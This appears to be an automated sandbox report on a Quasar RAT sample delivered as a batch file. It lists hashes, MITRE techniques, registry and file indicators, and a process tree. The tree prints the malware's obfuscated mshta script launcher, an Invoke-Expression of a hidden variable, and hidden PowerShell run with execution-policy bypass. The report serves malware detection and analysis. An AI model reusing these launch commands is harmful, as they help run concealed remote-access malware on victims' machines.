quasar | 77eea1fee29eaea3be683181b75c7ec61bd2d18cfa4e124bcf2c20cdba8d7728

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 01:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hacktool100percentlegitnovirus.bat
Size 15.5MB
Sample240503-b7ndvaca6w
SHA256 77eea1fee29eaea3be683181b75c7ec61bd2d18cfa4e124bcf2c20cdba8d7728
MD5 23c907a663bc5c30e89aa5c412b0b6a2
SHA1 9a23b5ac7ff316fd750a89f5838ba59554cc5d61
SHA512 9c2b7c7ecff1c30759975c6fed9b07dae2d1e943237f9770d2cad5edbff77abdbfb050fc0a445f4098e5381370f8491d914a21ccfa2151cc6ae441ddbbedb9d8
SSDEEP 49152:Yju6olBs/O7mrdEf362SZzFdBIfHsE/LKy/n+d9gy12/KRsZgMj8idHJMW3merdt:3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar bootkit execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3912-80-0x00000224FD7B0000-0x00000224FDF5E000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4500 created 5036	4500	svchost.exe	108

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2180	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Deletes itself 1 IoCs

pid	Process
2180	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3496	$sxr-mshta.exe
4172	$sxr-cmd.exe
3912	$sxr-powershell.exe
1204	$sxr-powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1456	$sxr-cmd.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb00010.log	svchost.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe
3912	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	3912	$sxr-powershell.exe
Token: SeDebugPrivilege	3912	$sxr-powershell.exe
Token: SeDebugPrivilege	3912	$sxr-powershell.exe
Token: SeShutdownPrivilege	3528	Explorer.EXE
Token: SeCreatePagefilePrivilege	3528	Explorer.EXE
Token: SeShutdownPrivilege	3528	Explorer.EXE
Token: SeCreatePagefilePrivilege	3528	Explorer.EXE
Token: SeShutdownPrivilege	3528	Explorer.EXE
Token: SeCreatePagefilePrivilege	3528	Explorer.EXE
Token: SeDebugPrivilege	1204	$sxr-powershell.exe
Token: SeShutdownPrivilege	3528	Explorer.EXE
Token: SeCreatePagefilePrivilege	3528	Explorer.EXE
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeCreatePagefilePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeCreatePagefilePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeCreatePagefilePrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1680	svchost.exe
Token: SeIncreaseQuotaPrivilege	1680	svchost.exe
Token: SeSecurityPrivilege	1680	svchost.exe
Token: SeTakeOwnershipPrivilege	1680	svchost.exe
Token: SeLoadDriverPrivilege	1680	svchost.exe
Token: SeBackupPrivilege	1680	svchost.exe
Token: SeRestorePrivilege	1680	svchost.exe
Token: SeShutdownPrivilege	1680	svchost.exe
Token: SeSystemEnvironmentPrivilege	1680	svchost.exe
Token: SeManageVolumePrivilege	1680	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1680	svchost.exe
Token: SeIncreaseQuotaPrivilege	1680	svchost.exe
Token: SeSecurityPrivilege	1680	svchost.exe
Token: SeTakeOwnershipPrivilege	1680	svchost.exe
Token: SeLoadDriverPrivilege	1680	svchost.exe
Token: SeSystemtimePrivilege	1680	svchost.exe
Token: SeBackupPrivilege	1680	svchost.exe
Token: SeRestorePrivilege	1680	svchost.exe
Token: SeShutdownPrivilege	1680	svchost.exe
Token: SeSystemEnvironmentPrivilege	1680	svchost.exe
Token: SeUndockPrivilege	1680	svchost.exe
Token: SeManageVolumePrivilege	1680	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1680	svchost.exe
Token: SeIncreaseQuotaPrivilege	1680	svchost.exe
Token: SeSecurityPrivilege	1680	svchost.exe
Token: SeTakeOwnershipPrivilege	1680	svchost.exe
Token: SeLoadDriverPrivilege	1680	svchost.exe
Token: SeSystemtimePrivilege	1680	svchost.exe
Token: SeBackupPrivilege	1680	svchost.exe
Token: SeRestorePrivilege	1680	svchost.exe
Token: SeShutdownPrivilege	1680	svchost.exe
Token: SeSystemEnvironmentPrivilege	1680	svchost.exe
Token: SeUndockPrivilege	1680	svchost.exe
Token: SeManageVolumePrivilege	1680	svchost.exe
Token: SeDebugPrivilege	1824	wmiprvse.exe
Token: SeAuditPrivilege	2212	svchost.exe
Token: SeAuditPrivilege	2640	svchost.exe
Token: SeAuditPrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1680	svchost.exe
Token: SeIncreaseQuotaPrivilege	1680	svchost.exe
Token: SeSecurityPrivilege	1680	svchost.exe
Token: SeTakeOwnershipPrivilege	1680	svchost.exe
Token: SeLoadDriverPrivilege	1680	svchost.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3912	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 2740	3096	cmd.exe	87
PID 3096 wrote to memory of 2740	3096	cmd.exe	87
PID 3096 wrote to memory of 2180	3096	cmd.exe	88
PID 3096 wrote to memory of 2180	3096	cmd.exe	88
PID 3496 wrote to memory of 4172	3496	$sxr-mshta.exe	91
PID 3496 wrote to memory of 4172	3496	$sxr-mshta.exe	91
PID 4172 wrote to memory of 2248	4172	$sxr-cmd.exe	93
PID 4172 wrote to memory of 2248	4172	$sxr-cmd.exe	93
PID 4172 wrote to memory of 3912	4172	$sxr-cmd.exe	94
PID 4172 wrote to memory of 3912	4172	$sxr-cmd.exe	94
PID 3912 wrote to memory of 676	3912	$sxr-powershell.exe	7
PID 3912 wrote to memory of 676	3912	$sxr-powershell.exe	7
PID 3912 wrote to memory of 960	3912	$sxr-powershell.exe	12
PID 3912 wrote to memory of 960	3912	$sxr-powershell.exe	12
PID 3912 wrote to memory of 404	3912	$sxr-powershell.exe	14
PID 3912 wrote to memory of 404	3912	$sxr-powershell.exe	14
PID 3912 wrote to memory of 1036	3912	$sxr-powershell.exe	16
PID 3912 wrote to memory of 1036	3912	$sxr-powershell.exe	16
PID 3912 wrote to memory of 1132	3912	$sxr-powershell.exe	17
PID 3912 wrote to memory of 1132	3912	$sxr-powershell.exe	17
PID 3912 wrote to memory of 1140	3912	$sxr-powershell.exe	18
PID 3912 wrote to memory of 1140	3912	$sxr-powershell.exe	18
PID 3912 wrote to memory of 1148	3912	$sxr-powershell.exe	19
PID 3912 wrote to memory of 1148	3912	$sxr-powershell.exe	19
PID 3912 wrote to memory of 1156	3912	$sxr-powershell.exe	20
PID 3912 wrote to memory of 1156	3912	$sxr-powershell.exe	20
PID 3912 wrote to memory of 1232	3912	$sxr-powershell.exe	21
PID 3912 wrote to memory of 1232	3912	$sxr-powershell.exe	21
PID 3912 wrote to memory of 1316	3912	$sxr-powershell.exe	22
PID 3912 wrote to memory of 1316	3912	$sxr-powershell.exe	22
PID 3912 wrote to memory of 1352	3912	$sxr-powershell.exe	23
PID 3912 wrote to memory of 1352	3912	$sxr-powershell.exe	23
PID 3912 wrote to memory of 1408	3912	$sxr-powershell.exe	24
PID 3912 wrote to memory of 1408	3912	$sxr-powershell.exe	24
PID 3912 wrote to memory of 1424	3912	$sxr-powershell.exe	25
PID 3912 wrote to memory of 1424	3912	$sxr-powershell.exe	25
PID 3912 wrote to memory of 1564	3912	$sxr-powershell.exe	26
PID 3912 wrote to memory of 1564	3912	$sxr-powershell.exe	26
PID 3912 wrote to memory of 1584	3912	$sxr-powershell.exe	27
PID 3912 wrote to memory of 1584	3912	$sxr-powershell.exe	27
PID 3912 wrote to memory of 1640	3912	$sxr-powershell.exe	28
PID 3912 wrote to memory of 1640	3912	$sxr-powershell.exe	28
PID 3912 wrote to memory of 1704	3912	$sxr-powershell.exe	29
PID 3912 wrote to memory of 1704	3912	$sxr-powershell.exe	29
PID 3912 wrote to memory of 1744	3912	$sxr-powershell.exe	30
PID 3912 wrote to memory of 1744	3912	$sxr-powershell.exe	30
PID 3912 wrote to memory of 1752	3912	$sxr-powershell.exe	31
PID 3912 wrote to memory of 1752	3912	$sxr-powershell.exe	31
PID 3912 wrote to memory of 1884	3912	$sxr-powershell.exe	32
PID 3912 wrote to memory of 1884	3912	$sxr-powershell.exe	32
PID 3912 wrote to memory of 1976	3912	$sxr-powershell.exe	33
PID 3912 wrote to memory of 1976	3912	$sxr-powershell.exe	33
PID 3912 wrote to memory of 2000	3912	$sxr-powershell.exe	34
PID 3912 wrote to memory of 2000	3912	$sxr-powershell.exe	34
PID 3912 wrote to memory of 1012	3912	$sxr-powershell.exe	35
PID 3912 wrote to memory of 1012	3912	$sxr-powershell.exe	35
PID 3912 wrote to memory of 1648	3912	$sxr-powershell.exe	36
PID 3912 wrote to memory of 1648	3912	$sxr-powershell.exe	36
PID 3912 wrote to memory of 1680	3912	$sxr-powershell.exe	37
PID 3912 wrote to memory of 1680	3912	$sxr-powershell.exe	37
PID 3912 wrote to memory of 2128	3912	$sxr-powershell.exe	38
PID 3912 wrote to memory of 2128	3912	$sxr-powershell.exe	38
PID 3912 wrote to memory of 2212	3912	$sxr-powershell.exe	40
PID 3912 wrote to memory of 2212	3912	$sxr-powershell.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2624
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-HZanVkhhYOUbgEgNQFhs4312:CxrJxeSf=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-HZanVkhhYOUbgEgNQFhs4312:CxrJxeSf=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:fIMTYrMVuO; "
      4⤵
      PID:2248
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3912
    - - C:\Windows\$sxr-cmd.exe
        
